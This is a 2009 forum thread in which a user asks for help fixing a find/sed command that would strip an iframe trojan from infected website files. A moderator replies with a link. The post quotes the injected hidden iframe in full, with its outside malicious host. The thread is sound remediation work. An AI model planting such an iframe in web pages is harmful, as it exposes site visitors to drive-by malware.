LinuxQuestions.org
Latest LQ Deal: Latest LQ Deals
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices


Reply
  Search this Thread
Old 08-25-2009, 03:33 PM   #1
aliahsan81
LQ Newbie
 
Registered: Sep 2008
Posts: 22

Rep: Reputation: 0
ifram removing


Hi i have iframe trojan in many files i have created a find and sed command i am not expert in sed its not working as i desire can any one help me out.

Code:
find . -name '*.*' -exec sed -i 's/<iframe src="http://3cl.ru:8080/index.php" width=103 height=143 style="visibility: hidden"></iframe>//g' {} \;

Facing this error

Code:
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'

Last edited by aliahsan81; 08-25-2009 at 03:34 PM.
 
Old 08-25-2009, 04:17 PM   #2
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Something like this: http://www.linuxquestions.org/questi...39#post3650639 ?
 
Old 08-26-2009, 05:48 AM   #3
aliahsan81
LQ Newbie
 
Registered: Sep 2008
Posts: 22

Original Poster
Rep: Reputation: 0
thanks
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Removing Defunct processes without restarting or removing parent process. nikolaibelkin Linux - Newbie 1 02-26-2009 09:10 AM
Removing Gnome apps without removing gnome desktop? 449 Linux - Newbie 1 01-29-2008 10:40 PM
Removing KDE apps, without removing kde? Proszbje Debian 2 12-22-2007 08:42 PM
removing text shadows in kde; removing taskbar color gradient webazoid Linux - Software 1 04-11-2006 02:56 AM
Removing files wihtout removing containing Direcotry caps_phisto Linux - General 2 10-07-2004 08:16 AM

LinuxQuestions.org > Forums > Non-*NIX Forums > Programming

All times are GMT -5. The time now is 06:07 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration